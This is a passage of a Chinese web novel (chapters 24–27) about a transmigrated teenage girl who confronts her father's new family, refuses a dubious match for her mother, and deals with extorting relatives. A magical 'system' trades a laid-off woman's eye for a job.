24. 第 24 章
第二十四章
路昭带着路恒还有牛桃花,出去逛了公园,还去动物园玩了一趟。
李翠萍不肯去,因为她要专心在家待着等仇人上门,这一等,就等到了下午。
路昭和牛桃花都抱着路恒回来了,路德荣夫妻俩,才带着夏露和他们刚生出来没多久的小儿子出现在花园里筒子楼。
要不说于馨雅这个女人很会戳人肺管子呢!
本来气势汹汹,准备好好给仇人一点儿颜色看看的李翠萍,在看到女人怀里抱着的那小崽子时,突然就弱气了。
她期期艾艾地看着他们,也不说话,开始左右乱瞟,好像不是自己被道谢,反而是被仇人找上门。
这会儿家里正好有客人,郑丹静夫妻俩来得晚,话也多,还没来得及走。
原本看见于馨雅一家,还起来打招呼,但看李翠萍脸色不对,便有些奇怪了。
还是路昭站起来,走到门口,道:“你们来干什么?这里不欢迎。”
“我是你老子。”
“哦,是这样啊?”路昭回过头,对郑丹静一家说:“来介绍一下,这是我父亲路德荣,和她出轨的小三于馨雅女士。嗯……还有他们刚生的孩子。”
郑丹静和蒋成相互看了看对方的脸,一时尴尬无比。
路昭大方地笑了笑,继续道:“我也没想到救的人里面有爸爸的继女。不过他们口里说着来道谢,却抱着出轨生的私生子来刺激我母亲,着实让人忍不住多想。”
郑丹静张了张嘴,半天说不一句出话。
她和于馨雅认识的时间也不短了,光知道她守寡好多年后,刚找了个有钱的老板,哪知道这里面还有别的事儿?
而路德荣这人,给他的感觉,虽然稍显粗鲁,却也是一个比较踏实的人。
只说前面的老婆性格不合离婚了,可也没说是和于馨雅好了之后才离的呀?
这可真是……
“你还是个女孩儿呢,怎么能胡说八道?你说谁是小三?我和你爸那是……”
“我妈的离婚证上有日期。”路昭打断于馨雅:“要不拿出来对一下,离婚证上的日子和你怀里这崽子哪个大?别告诉我,这小东西是你给我爸戴的绿帽子。”
于馨雅眼眶一红,一下哭起来。
夏露也跟着哭起来:“路昭,我们今天是来道谢的,你怎么可能这么骂我妈妈?”
“你也知道你是来道谢的?我还以为不是我救了你,而是你救了我呢?看你这幅样子……”
将原看到好友哭,想说什么,被他妈横了一眼,立刻闭嘴了。
“哈,那什么……我看你们有客人,要不,要不我们就先回去了。”
“别,先别走。你们走了他们马上就要揍我了。”路昭一把抓住女人的手臂,可怜道:“阿姨你该不会看不出来吧?他们抱着和我妹妹差不多大的弟弟来气我妈呢。你们要是走了,我们肯定得挨揍。”
“这,这不能吧……”
“怎么不能?”路昭看向旁边的将成:“蒋叔叔,你刚才不是说要报答我吗?现在就到时间了。你家是体面人,我爸爸想方设法要巴结都巴结不上呢。不然你们就在这坐一会儿,给他个巴结的机会?说不定看在你们的面子上,我能少挨一顿揍,还能要到学费跟妹妹的生活费。”
蒋成和郑丹静夫妻俩哪里听过这种话,简直不知道该说什么好了。
路德荣也被气得不行,本来不想揍她的,听了这一通,还真感觉有一点儿手痒。
偏偏路昭还理直气壮,指使起他来:“站着干什么呀?凳子不太够,你去搬两个凳子来吧,还在原来的地方。”
“呵!你就这么指挥你老子?”
“爱去不去。”
“行!”路德荣到底是个场在场面上混过的人,不管怎么样,很能在明面上把事情抹过去。
反正又不能当这外人的面发火,还不如把姿态放低点。于是他点了点头,真的去阳台拿凳子了。
李翠萍见状,居然期期艾艾地想要跟着去帮忙。
被路昭一把抓住了:“招呼客人呢!你干嘛!”
李翠萍这才讪讪地坐回去,但眼睛里却一直往阳台那边看个不停。
这没出息的样子看着的确很气人。
路昭让牛桃花把路恒抱去房间里,然后直接冲着于馨雅就问:“你们是来道谢的?你们可是我家的仇人,这个谢礼可不能按一般的算。所以说说吧,这救命之恩你们准备怎么还。”
“你……”她还在哭呢,怎么就开始谈别的了?
但路昭态度很坚定,就是要她给句准话。
于馨雅不肯回答,就站在那儿哭。
路德荣搬了凳子回来,见她还在哭,十分没好气:“哭哭哭,就知道哭,你有毛病啊?没人教你上门做客的时候不能哭?”
“我,老公,她骂我,你还不帮我?”
“骂你?谁骂你了?她说的不是实话吗?这有什么好哭的?”
于馨雅被他这句话气得几乎厥过去,整个人抖得几乎抱不住孩子。
路德荣见她这个样子,又开始说她:“你站不稳就坐下,别把我儿子摔了!”
“那什么,我想起来,我家里真的还有事。”郑丹静嚯地一下站起来,推了丈夫一把:“是吧老成?我们还得去圆圆奶奶家呢。”
“嗯,是的。那我们先走了,你们闲聊。”说完推着恋恋不舍的儿子赶紧跑路。
路德荣还非常热情地松了一下。
等人都走了之后,于馨雅终于不哭了。
她安安静静地坐在沙发上,看着怀里的孩子,一言不发。
路德荣完全没把这些当成一回事,回来坐到空出来的沙发上,问路昭:“看样子你这回是立了大功?说说看,到底怎么回事?”
“你不知道?”
“我刚从新港回来,屁股都还没坐热呢,知道什么?”
“新港啊!”路昭感慨:“现在能过去了?”
“当然能。”路德荣说着,想到了什么,又哼了一声:“就是太费钱,那地方……”
“那地方怎么说?”
“乱的很。”路德荣说完又不满:“问这么多干嘛?是我在问你话,到底怎么回事?”
“没怎么回事,就是你的好继女,我们这位夏露同学,还有班上其他几个学生,大半夜不睡觉,跑山上去看月亮,结果遇到大雨。我怕他们遇到泥石流被砸死,最后让学校和教官们担责,就带着老师们去找他们。“
“就找到了?”
“是呀!”
“难怪都来道谢。”路德荣摸着下巴,心里想的却是自己知道的太迟
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了。要不然,这被感谢的人里面,也应该有自己一份啊!他可是路昭的爹!
便问:“那些人家都来感谢完了?还有几家没来?”
“这我哪知道?说不定有些人就家就不来了呢!”路昭随便回了一句,突然伸出手来:“话说,你也是来道谢的对吧?那就拿钱,别人家可以送点东西了事,你们可不行。”
“你这死丫头,就不能说点儿好的?”
“对着你们这一家,我还能有好的说?”
路德荣都服了,他是真的从来没有见过女儿这么咄咄逼人的样子。
“你能不能别总张口闭口要钱?”
“不然呢?不要钱要什么?要命?我敢要,你们敢给么?”
“再说,你们欺负我妈没本事,直接欺负到脸上来了是吧?哦对了,上回你专门跑来问我为什么要给狗起人名字,我这下想起来了,这于阿姨怀里抱着的就是……那个叫路光宗的?”
“什么光宗,不要胡说!弟弟才不叫那种名字。”
“那叫什么?”
“要你管!”
“行,直说吧,你们干嘛来的?”
“当然是道谢……”
“道谢不带谢礼?”路昭张开手:“反正我这人是个有娘生没爹养的野孩子,除了钱什么都看不见。既然你们是来道谢的,那赶紧吧!”
“你这孩子,怎么这么的……”
路昭坚持。
“行,给钱给钱。”路德荣掏出钱包,塞了一沓现到路昭手里。
路昭收好,又转过头看于馨雅。
于馨雅没法应。
路昭就惊奇了:“不是吧不是吧?我救了你女儿,你就没一点儿表示?”
“爸爸都给你钱了,你还要跟我妈要,太过分了!”夏露生气地瞪路昭。
路昭白她一眼:“夏同学,你都上高中了,还这么无知吗?连一点法律意识都没有。我爸爸就是我爸爸,就算他和我妈离了婚,也是我爸爸。作为父亲,他给我和我妹妹钱,养我们到成年,是他本来就有的责任。他刚才给我的,只是妹妹的奶粉钱,和你有什么关系?”
“你……”
“别告诉我,我救了你的命,你还得从我爸爸那里要钱来给我做谢礼。这不等于从我左口袋拿钱放到我的右口袋吗?想得太美了吧?”
路昭不再像以前一样当闷葫芦,夏露就睡说不过她了。
于馨雅受不了,不想和她纠缠,只对着路德荣道:“老公,你也看到了,我们是真心诚意上来道谢,一来就被骂还当着朋友的面丢脸。不是我不好好相处,是他们不讲道理,以后我绝不再和她们母女打交道了。“
路德荣皱眉:“我什么时候要你和她们打交道了?本来就是你女儿欠我女儿恩情,上门来谢不是当然的吗?”
于馨雅瞬间不说话了。
原本哭哭啼啼的夏露,也抿了抿嘴,低下头。
路昭看了看路德荣的脸,不确定地问:“你这样态度突然转变,该不会是……想拿我的人情作筏子吧?告诉你,休想。”
“我是你老子,你吃我的喝我的……”
“行,那你准备分我多少财产?”
路德荣:“……”
“为什么瞪眼?不是你说的你是我老子吗?别告诉我你只想拿好处不想分钱。
25. 第 25 章
第二十五章
“你还让我在学校里照顾她?妈,刚才她说的那些话你没听到吗?露露都被气哭了。”将原回到家后,听着郑丹静的嘱咐,非常不喜欢。
“就算是她父母离婚又结婚,那也和夏露没关系啊!她说的那么难听,还当着这么多人的面说,也太过分了!”
郑丹静咻一下转过身,鹰隼一样盯着胖乎乎的儿子,问:“你就是这么想的?”
“本,本来就是。”
“本来就是?那我问你,你爸现在在外面有了别的女人,还生了孩子,回来跟我离婚把母子全都抛弃,你也觉得没问题?”
“那怎么可能?”
“凭什么你觉得不可能?”
“你,你……妈,我知道我爸不是那样的人,是吧爸爸?”
他爸爸不说话。
郑丹静冷笑一声:“也行,我知道你就是喜欢夏露那小姑娘,毕竟你们从小一起长大。但你要是想把她带到家里来,就别怪我把你们撵出去。”
“妈??”
“儿子,我不知道露露是不是个好孩子,但我知道大半夜冒着雨带人去找你们,甚至明知道救的人里面有仇人的女儿,也依然去做的人,不会是个坏孩子。她当着我们的面让你朋友丢脸,那是因为你朋友的妈妈本来就不光彩,他爸爸口口声声说她花他的钱吃她的饭,你的朋友母全家都在花他的钱吗?”
“但是,露露又不能做主。”
“没错,露露不能做主。所以我不说她,我只说你,是因为你对你的救命恩人,完全没有感激之情。”
说到这里,郑丹静觉得有点心冷。
在她的眼里,自己的儿子一直是个正直善良的孩子,别说欺负别人,就是连路边小花小草,都舍不得折断。
但是这次,他居然因为一个朋友的感觉,就对另一个无辜的女孩心怀成见。成见到了,连救命之恩都不被感激的地步。
这可不是什么好苗头,这代表了他,已经完全失去了是非观。
心里想着这件事,郑丹静没有再说话,回去的一路上,她都在琢磨,自己这个母亲是不是不合格,在此之前,居然完全没有看出一点儿苗头。
以至于当天晚上再见到于馨雅,她都有些不让对方进来。
于馨雅是来解释的,路昭当着他们夫妻的面说了那些话,让她非常丢脸。
但是为了挽回面子,总要做些什么。
于是她当即决定找到郑丹静,倾述自己的难处,当然最重要的,是把插足别人婚姻的事情,变成自己被骗。
“我当时是真的不知道他还有老婆。他说他离婚了,想和我结婚,这才……”
“那你可以告他呀,这是骗人,治他个流氓罪,看他还敢不敢。”
“我也想,可是那时候,我已经,已经怀孕了……”
郑丹静这下没话说了。
女人怀了孕,感情总是不一样的。
何况这个社会,本身也对女人并不公平。哪怕做错的是男人,女人被骗,外面说起来,也是她有问题。
之前还对她满是介意的郑丹静,又开始同情起他了。
于馨雅见她态度有所转变,这才暗暗松了口气。
回到家后,她一把抱起摇篮里的儿子,冲路德荣道:“从今天起,我和那母女势不两立。你要是再敢给她们一分钱,我就抱着儿子找个楼顶跳下去,让你彻底断子绝孙。”
“你疯了?”
“我疯没疯,你试试就知道了。”
“行,行,都听你的,不给就不给,行了吧?别那我儿子撒气。”
于馨雅这才把孩子放下来,咬牙切齿地说:“小贱/人给我等着,我要她好看!”
路昭不知道有人准备要她好看了,当然,就算知道了大概也不在意。
六中军训还没有结束,她和其他几个闯祸的同学提前回来了,算是提前结束了军训。
其他人要记过,路昭不需要。所以趁着这几天的假期,她每天到处跑。
什么摆满了古董玩意的跳蚤市场,刚刚新起的百货大楼,她都去逛了个遍。
当然,也买了水果和零食去医院,想要看望一下身份不明的程聿。
结果到了医院之后,医生告诉她:“那个病人?我看看记录……早出院了。”
“啊?出院了?这么快?”
“是挺快,他当天晚上就出院了。”
路昭无话可说。
护士见状,安慰她道:“别担心,他的虽然好几处骨折,但是打了石膏,养几个月就好了。等过一段时间,还要来医院拆石膏呢,你想见他,等拆石膏的时候来就好了。”
“哈哈,那就不用了。”人家既然不想见她,她干嘛上赶着呀!
只要她以后记得还钱就好!
路昭干脆把带来的水果送给了护士们,然后离开了医院。
天气越来越冷了,秋风吹动树梢,一片片橙黄的叶片飘飘扬扬落下来。
路昭一路走一路看,路旁有人修头发,有人磨剪子。
看到有人卖糖葫芦,她买了五六串,用纸抱住拿在手里。
本来想边走边吃的,但拆了一个咬一口,太甜,还粘牙,就又不想吃了。
晃晃悠悠走了几站路,有点腿酸,这才上了公交车往回走。
时间已经是下午,附近的小学初中都放学了,车上全都是叽叽喳喳闹个不停地小朋友。
他们三五成群聚在一起,说着学校发生的事,还有昨天看过的电视剧。
路昭混在其中,好像自己也变成了他们中的一员。
眼前的一切其实很陌生,她只是知道自己是个穿越者,但是关于前世的一切,其实没有任何一点印象。
她不知道自己是做什么的,生活在什么地方,认识过什么人。唯一能够确定的就是自己的名字,以及自己穿越之前看过不少各式各样的小说。
清楚地知道自己来到了一个小说世界,生活在这里,这种感觉是很奇怪的。
有些不太真实,又有些太过真实。尤其是看着面前生机勃勃的花草树木,和男女少年时,总是忍不住怀疑,到底是里穿越进小说这件事是假的,还是关于穿越这件事的认知是假的。
路昭靠在车窗上,眼睛看着车外,听见后面的两个小女孩在激动地讨论争论,到底是喜欢某钗还是某黛。
一个说某黛矫情,一个说某钗心机,争的不可开交。
听了一路,路昭只佩服她们的为这么一点儿小事都能吵一路的激情。
于是她忍不住插了句嘴:“但是,就算你们是对的又能怎么样呢?”
两个女孩儿莫名地看着路昭,好半晌才说:“什么怎么样?”
“我的意思是,反正她们也不过是故事里的人,命运和性格,都是作者安排的。”
“那又怎么样?”
“是啊!”另一个女孩儿也帮腔:“就算是故事里的人,那也是人啊!”
“但是,你们争吵没用。她们不认识你们,不知道你们,你们争论出来的对错,什么用都没没有。”
“没有就没有呗!这世界上不是所有的事都需要有用。”女孩说完站起来:“我们到站了,走走走,去吃烤红薯。”两个刚才还吵得面红耳赤的女孩儿,又手牵着手下了车,一起去吃好吃的去了。
路昭眨眨眼,好吧,自己好像被嫌弃了。
她有点恶趣味地想,不知道自己要是追上去告诉她们,他们也是故事里的人,还是路人都不算的背景板,不知道会不会把人气哭。
然后又想,她们肯定不相信。
所以还是算了。
回到家之后,路昭换上了新买的衣服。王阿姨做了粉蒸排骨和丸子汤,味道非常好。
李翠萍难得地没有碎嘴又说些让人讨厌的话,这一顿饭,吃的实在是非常舒服。
玩吃完后和牛桃花下楼散步,她抱着路恒在院子里学走路。路昭霸占了一个躺椅,靠在上面看着已经开始黄叶的葡萄树。<
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三只小狗崽子已经长大了不少,在她脚边哼哼唧唧走来走去。
它们原先起的名字已经作废,后面换的路昭脚叫不顺口,就干脆照着颜色,直接管它们叫小白小黑和小灰。
小白是一只大胆的狗仔,耳朵也最敏锐。常常人都还没出现,就能听到脚步声,然后开始警惕。
小灰胆子小,只知道躲在最后面,一看见人就哼哼唧唧,夹着尾巴往后缩。
小黑胆子大,什么都不怕,看见有人过来,就警惕地盯着他,一副跃跃欲试想要追上去打一架的样式。
这会儿它们还是小崽子,再过几个月长大了,就得全部拴上狗链子了。
等人都走了,危险性接触,三只狗崽子便又开始你扑我我咬你,滚在一起,比拼力气。
路昭躺在躺椅上,昏昏欲睡看天上。
天是蓝的,云很白。
不知道谁家养的鸽子飞来飞去,外面还时不时传来卖小吃和果子的叫卖声。
这小小一方天地,忽然变得平和又宁静,又不缺人间烟火的气息。
有那么一瞬让路昭觉得,或许这么活着也不错。
她不是什么有野心的人,只要没人惹她,没人试图控制她的人生,她会非常乐意做一个安安静静乖巧平凡的好孩子。
上学的时候就好好上学考个好学校。
毕业了找一份工作能够养活自己和三只狗。
再然后呢?
买个小房子吧?不和别人一起住,阳台应该大一点儿,可以种花种植物。
鱼缸是不会买的。
那种活在水里的东西,就算不尝试,路昭也知道自己养不活。
还有呢?
恋爱要不要谈?
不清楚,她很难想象自己会爱上什么人。这条作废。
要不要结婚?
那就算了吧,看看路德荣和李翠萍,再加上别人口中的胜利者于馨雅,仿佛过得都不算什么好日子。
这事儿同样不能去干。
至于生孩子?
说句不好听的话,以她现在的情况,路恒基本上就等于算是在她在养。她都还没长大就再生一个?路昭觉得自己怕是闲得慌。
不过话说回来。
自己现在的身份虽然顶了别人的位置,但她毕竟只是姐姐不是妈,不可能真的把路恒养大。
以她的脾气,养到七八岁基本上能懂事,就会放手了。
顶多找个保姆照顾她,不让她像原著那样吃亏被算计,就已经算是不错了……
“哎,昭昭呀,婶子问你个话。”
就在路昭胡思乱想的时候,忽然一个声音从耳边传来,把她吓了一跳。
刚转过头,就看到隔壁的刘婶子满脸带笑,并神神秘秘地问她:“你觉得,要是你妈给你找个新爸爸怎么样?”
路昭:“……”
“这可是好事儿,你看啊,你妈一个人到底单薄,要是有了新爸爸,家里就多一份人力不是?到时候再也不会有人笑话你没爸爸了,谁要是敢说你,就让他给你信撑腰。而且那人你也认识,就是麻花巷你刘勇叔……”
刘勇?
不就是那个成天偷鸡摸狗还没工作的二流子么?
“谁要是敢把这人介绍给我妈,我就天天找人泼粪在他家门口。”路昭冷着脸,一字一句地说。
刘婶见她这么不给面子,十分生气地数落她,被路昭一顿嘲讽骂走了。
回去之后,路昭问李翠萍:“是不是有人给你说亲,就是麻花巷的刘勇?”
“你要死了?说这些疯话!”刘翠萍指天发誓,坚决否定了准备再婚的事。
“你现在是单身,想要再婚我不反对。但是再婚的人选,我希望你慎重。”虽然她对她的眼光一点儿都不看好就是了。
“绝不可能,你再说我就去跳楼。”
“行,我相信你不想和刘勇结婚,最好是这样。”
这件事,就算是这这么不了了之了。
26. 第 26 章
第二十六章
军训结束,六中高一终于正式开始上课。
回校第一天早上,学校就开始进行全校通报。
首先是给军训期间乱跑的梁珂等人处分,让他们当着全校师生的面检讨。
这事儿他们已经在营地做过一次了,但回到学校当众做检讨,还是有点儿丢脸。
几人检讨完之后,轮到路昭被表彰。
老师们写了长长一段表扬信,听得人无比肉麻,之后又颁奖,给路昭发了奖状之外,还奖励了一套文具盒。
路昭很想装不在,却还是被班主任强硬地推了上去,然后被逼着讲了几句话,这才拿着奖状灰头土脸地下来。
解散之后回到教室里,路昭发现半晌的同学都在看自己。
“你是怎么知道他们去山上的?”
“为什么这么问?”
“他们说你偷听他们说话,还跟踪他们,是不是真的?”
“他们?他们是谁?”
同桌没说话,只是眼睛往后瞟了一眼。路昭一回头,就看到梁珂那几人。
路昭回过头,不在意地笑了笑,说:“就他们那点儿小心思,还需要偷听?”
“那他们干嘛说的那么自信?”
“谁知道?不过,好像也跟我没什么关系。”
上课铃声响了,老师进来,所以地做了一下自我介绍之后,便开始上课。
路昭刚打开课本,就听见系统提醒,又有新成员进群,并且要求做交易了。
【我在上课,你先处理。】
【OK。】
系统拿到授权,点开了新成员的信息。
这位还没来得及修改昵称的新成员,攞省宁城人,今年三十七。
因为全家下岗,现在,她已经三天没吃过饭了。
“我家就剩一口菜了,没有多余的借给你。哎……”女人倾身叹息:“要不然,叫小娟和她大姨去上工?这也是没办法的事……”
余瑾听到这句话,立刻砸了瓶子大吼:“谁敢,谁敢让我女儿去那种地方,我和他拼命!“
“别别,我就说说,我先走了。”女人赶紧拿起篮子离开了。
裘力回来,看到妻子半截身子都从床上掉下来趴在地上,赶紧伸手去扶。
女人却一把抓住了他,双目赤红这说:“你保证,绝不让娟儿去那种地方,你发誓。”
“我发誓,绝不答应绝不答应。”男人双目含泪:“你把我说成什么人了?我是娟儿他爹,咱家就这一个孩子……”
女人钉钉地看着他的眼睛,确定他没有撒谎,这才松一口气。
“你最好知道。”她松开手,任由丈夫把自己扶回到床上。又开始睁着眼睛看天棚,木木愣愣地发呆了。
裘力小声地站起来,从口袋里拿出刚才张婶给的一把菜,先去洗了,准备烧一锅汤喝。
没办法,家里已经没什么吃的了,手上仅有的那几十块钱,完全不敢花,因为不知道什么时候,就得饿死了。
然而前路在哪里?
他不知道。
半年前,作为技术骨干的他被厂里裁掉,等了好久,都没能找到新的工作。
全家就只靠妻子的那点工资生活。
本来以为就这么紧紧巴巴地也能活下去,却没想才,才过了两个月,老婆也下岗了。
全家顿时没有了收入来源,更找不到别的路子能挣钱。
像他们这样情况的家庭不少,后来实在不行了,有人干脆泼着不要脸,去干那见不得人的营生。
结果老婆不走运,遇到个神经病,被弄得重伤不说,还染了病。
这下卧床不起,还得花出一笔钱去看病。
家里实在没有进项,人人都知道他家困难。
当然,困难的也不止他们一家,别人也帮不上忙。
刚才张婶的意思,就是让娟儿也去做那种事。
他们只有一个女儿,今年才十五岁,还是个半大孩子。
别说她妈就是为这变成这样,就是没这一回事儿,他们也不舍得自己唯一的女儿遭殃。
问题是,老婆的病,不能再耽搁了。
要不然……再去卖一次血吧。
血站的护士说他得血不能再抽了,最早也得下个月才能去。
大不了他求一求,总得先换点儿钱,先给老婆把药买回来……
“老力。”裘力听见余瑾在叫他。
“怎么了?”
“都几点了,娟儿怎么还没有回来?”
“这……”
裘力看了看外面,天的确不早了。但学校离家近,倒也不至于太过担心。
“你去看看。”女人却不这么想。
“等我把饭……”
“让你去看!”余瑾尖叫一声,抓起枕头就朝他砸了过来。
裘力赶紧把菜放下:“我去找我这就去找!”
然后换了鞋出去。
外面没什么人,只有几只瘦骨嶙峋的野狗在马路中间跑来跑去。
裘力攥了攥袖子,往学校方向走。
刚走几步,就看到了邻居家的小孩蹲在门口,便问:“你这么早就回来了?”
“今天放学早,我们早回来了。”
“放学早?那你看见你娟儿姐姐了没有?”
“应该是去玩儿了吧?好像要去什么夜巴黎?”
“夜巴黎?”裘力想到什么,赶紧往那边跑。
好不容易跑到‘夜巴黎’门口就被拦住了,人看见他一身破袄,根本不放进去。
裘力着急之下,只能抓住旁边的砖头照着大门一顿砸,这才硬闯了进去。
刚进大堂的门,裘力一眼就看到了女儿。
“裘丽娟!你给我滚回去去
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!”
“爸,爸!”裘丽娟吓得不行,赶紧缩着脖子蹭过来,被裘力抓着手臂就要往外走。
经理立刻看住他,冷笑一声道:“砸了我的地方还想走?赔钱。”
“你,你害人,我跟你拼了!”
裘力下岗这么长时间,家里本来就没有钱,连给妻子买药的钱都不够,哪里来的钱赔给他?
再说,余瑾之所以染上一身病,就是被这地方害的。看见这个地方这群人,他只想反复一把火把他们全烧了。
可惜的是,他本来就是个普通人,最近又因为卖血次数多,早就虚弱不堪了。
想找人打架,也不是对手。最后只有他自己,被摁在死地上打。
好在没过多久,就被人告诉了附近民警。
来人一看他被打得那么惨,心中可怜,听了前因后果之后,狠狠骂了他一顿,却到底帮他求了情,把赔偿免了——反正就算要赔,看他这样子,大概也赔不出来一毛钱。老板乐于给民警一个面子,这才放了两人出去。
李开‘夜巴黎’后,裘力擦了脸上的血,一瘸一拐地走在前面,一句话都没有。
裘丽娟心里害怕,赶紧追了上去,然后哭着说:“爸,我错了。我就是,想给妈治病。”
“我知道不是你的错。”裘力满脸死气:“是你爸我没本事,我,我……”说到这里,竟一句话也说不下去。
父子俩乘着夜色一边走,一边默默流泪。而这短短的一段路,却不够他们哭泣。
没过多久,就到了家门口。
裘力提醒女儿:“就说你被老师留堂了,我去找你,不小心摔了一跤。”
“嗯,好。”
说完之后,两人才擦干眼泪,换上笑脸,回家去。
门还是虚掩着的,两人刚推开门,就看到余瑾坐了坐在门后。看见两人回来,说了一句:你们回来了?”
对于女儿去了哪里为什么晚归,以及丈夫身上离开时还没有的伤痕,她没有问一句。
“妈!”
“老婆!”两人确实一齐尖叫,对着她空洞的眼眶,吓跑了魂。
“安静,你们闹腾什么?”
“你的眼睛,你的眼睛怎么了?”
“去医院,快,快……”
“都给我坐下!”余瑾一声令下,两人都安静了下来。
就见她从口袋里掏出一张纸,上面有一串数字:“我给你找了份工作,你明天一早,就去报道。”
“工作,什么工作?哪儿来的工作?”
“别问工作哪儿来的,你去就是。”
裘力欲言又止,却发现说什么都是徒劳。
裘丽娟接过字条,道:“爸!”
“行,我明天,明天一早就去。”
“那你的眼睛。”
“瞎了。”余瑾毫不在意:“放心,就瞎了一只。”
27. 第 27 章
第二十七章
路昭下课之后才看手机,看到系统帮自己做好的交易,忍不住吐槽:“一份工作,你就要了人家一只眼睛?我以为我就够奸商了,没想想到你比我还黑。”
“这你就说错了,她这只眼睛,交易的可不是一份工作,而是几条命。”
“什么意思?”路昭点开对方的新信息一看,皱起了眉:“下岗?”
能被逼到用一只眼睛来换一份工作,可见这人的处境已经非常不好了。
而以女人的年龄来看,她大概率已经结了婚有了孩子。
所以这一份工作,要养活的不只是她自己,还有她的家人。
这么一看,这这笔交易,还真物有所值。
只是,下岗的影响,这么大的?
路昭努力回忆了一下自己所看的原著,完全没有这方面的信息。
毕竟女主角生活富裕,走得又是团宠路线。
下岗这种事,轮不到在她的世界里占据一席之地。
再看时间……三年后?
攞省离京市不远,如果真的发生了这么严重的下岗潮流,有人窘迫到了用一只眼睛来换一个工作岗位的地步,那京市显然不可能独善其身。
【这跟你没有什么关系,只要你好好做任务完成交易,就不会被饿死。】
【话是这么说,但你还是想的太简单了。】
【哪里简单了?】
【你说和我没关系,那我问你。三年后路恒几岁?】
【四岁零六个月。】
【是,三年后路恒四岁班。也还是个小孩子,顶多能上幼儿园,还到不了上小学的年纪。以李翠萍的性格,你觉得她能当一个好妈妈吗?】
当然不能,她不仅没有那个心,更没有那个能力。
【她不仅当不了妈,她连保姆都当不了。别的不说,就说原身好了,小小年纪,一身排骨,冻疮都长到了脸上,这么严重,她这个当妈的都看不见?保姆都比她尽心,所以至少在路恒上小学之前,牛桃花必须还是要留着照顾她的。】
【是这样没错。】
【那问题来了,三年后很多人下岗,我们现在住的花园里筒子楼,住了好多的国营厂工人。你说他们中会有多少人下岗?就算只是一小部分人,那也是很危险的。到时候别人家吃不上饭,我家请着保姆带孩子,你说别人会怎么想?】
起先肯定是嫉妒,然后渐渐的变成愤怒。很快他们就会联合起来欺负她们甚至狠下杀手——因为她们一屋子的,全部都是女人。
【你可以搬家。】
【搬家的确是个好方法。】路昭点头:【但是搬家,要搬到周围邻居都不愁吃喝,在很多人都下岗了的情况下日子都还能过得不错的地方,就不容易了。首先那种地方必定不是一般人能住进去的,要么干脆就是很贵。那么问题来了,我如果想搬家去那种地方,路德荣问起来,我要怎么解释钱的来历?】
根本原因还是她年纪太小,除了上学做不了别的。
就连办张存折,也顶多能放点儿零花钱。
要是突然多了一大笔钱,那情况就不一样了。
别人会以为她的钱是路德荣给的,但路德荣有没有给钱,他本人却是很清楚的。
如果李翠萍给力一点儿倒也能糊弄过去,偏偏李翠萍那个人……
【还是早点想办法吧!】路昭问系统:【你觉得裁员的话,会不会裁到肉联厂?】
【不知道,猜测不在系统的工作范围之内。】
【哈哈,也对。以我家的家庭情况,就算要裁员,第一批也不会裁到她身上。但是,为了让人猜不到我们家的财政情况,她却必须尽快下岗。】
【你准备怎么做?】
【先看看情况。让人帮你不容易,让人害你还不简单么?】
系统无话可说。
下午放学后,路昭做公交车回去,刚到巷子口,就听见有人道:“哎?昭昭你怎么现在才回来?快赶紧的吧,你家出事儿了!”
“出事儿,出什么事儿?”
“你妈老家又来人了,正堵在屋里要钱呢!”
“哈?他们还敢来?”路昭立刻拨通电话报了警,然后急匆匆跑往回走。
刚到楼下,就听到路恒扯着嗓子大哭的声音。
“嘭!”一声,路昭踹开门,看着满屋的人,厉声喝问:“怎么回事?没听到路恒在哭?”
“我这就抱她出去走走,这就出去!”牛桃花见到路昭,简直大松一口气,赶紧把李恒抱了出去。
客厅里乌烟瘴气,坐着三个抽焊烟的男人,屋子里横七竖八,陈桂子和卢满花一家人。
难怪路恒会哭,房间被占了吵个不停不说,还到处都是臭烘烘的烟臭味,不哭才奇怪呢。
“呵!你们还敢来?是又想偷东西了是吧?行,这次我叫警察来,你们当着警察的面儿抢!”
“什么偷?胡说什么?谁偷你东西了?”
“没偷?那我们家上次丢了那么多东西,难道是被狗吃了?”
“你……李翠萍,看看你养的女儿,这么忤逆不孝,你也不说话?放在我们村儿,早被活活打死!”
李翠萍胆怯地缩了缩脖子,这才对路昭道:“你少说几句,这是你爷爷。”
“我爷爷?我爷爷不早死了么?没听说还有别的爷爷啊!”
“就是,就是你由家爷爷。”
“由家?那算是什么狗屁爷爷?由家跟我们家可没关系,妈别忘了,我姓陆,你姓李。”
李翠萍不说话了。
姓由的老头看路昭不顺眼,冷哼一声,命令道:“我们是和你家没关系,但你娘,你总不能不管吧?她这会儿病了,得要花钱看病,我们也不多要,先给个三五千的再说。”
“我家没钱。”路昭看了看一旁的两个中
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年男人,冷笑:“而且我记得没错的话,你们村里,好像一直流行儿子养老。怎么?老太太两个儿子都不管用,反而逼到嫁出去的女儿头上来了?当然,作为女儿,听说亲娘病了,不表示一下也不行。妈!等他们走的时候,你记得在车站买鞋点心然他们给老太太带回去,毕竟是一点心意。”
“点心?一点点心就想打发我们?没门儿!”卢满花跳了出来,双手一叉腰,高声说道:“你家这么有钱,连亲娘都不管了?难道要眼睁睁看着亲娘去死啊!这么没良心的,简直是白眼狼!”
“我家孤儿寡母,自己生活都成问题,哪儿来的钱?”
“骗人!你家没钱,没钱请得起下人?没钱买这么多家具?哎哟我的老天爷,这叫什么来着?城里人管这叫个沙发……”
“管你怎么说,就是没钱。”
由老头老脸一横,瞪着李翠萍:“你怎么说?”
李翠萍怕他得厉害,赶紧铲讪笑着对路昭说道:“那,那个什么,你爸不是,不是还给过你钱么?”
“你说什么?”路昭简直不敢相信自己的耳朵,这女人居然要让她把从路德荣那里要的钱给这家人?
先不说她凭什么要给,给了之后她们家吃什么喝什么?这问题她想过吗?
她可不知道自己开了外挂。
再说,真要是给了,下次又来要怎么办?继续给?
没听人家说了么?先给个三千五千的。是‘先’给个三千五千。有先就有后,人家这回来要钱,只是开个头。
“我,没钱!”路昭斩钉截铁:“你要是有钱,你自己给。”说完扫视一圈,警告道:“但这屋里的东西,自从上次遭了贼之后,基本上都是我买的,谁要是敢给我动一件,我就让他去坐牢!”
说完叫上王阿姨:“我们走,出去下馆子!”
王阿姨解了围裙,赶紧跟了出去。到楼下才松一口气,然后问:“我们就这么走了,真的好么?我怕他们还是要逼你妈拿钱出来。”
“我妈没钱。”
这王阿姨就不知道了,但她见得多,所以忍不住提醒路昭一句:“你妈那个人性子荏弱,就怕我们走了,他们要不到钱,就又把家屋里的东西搬走。”
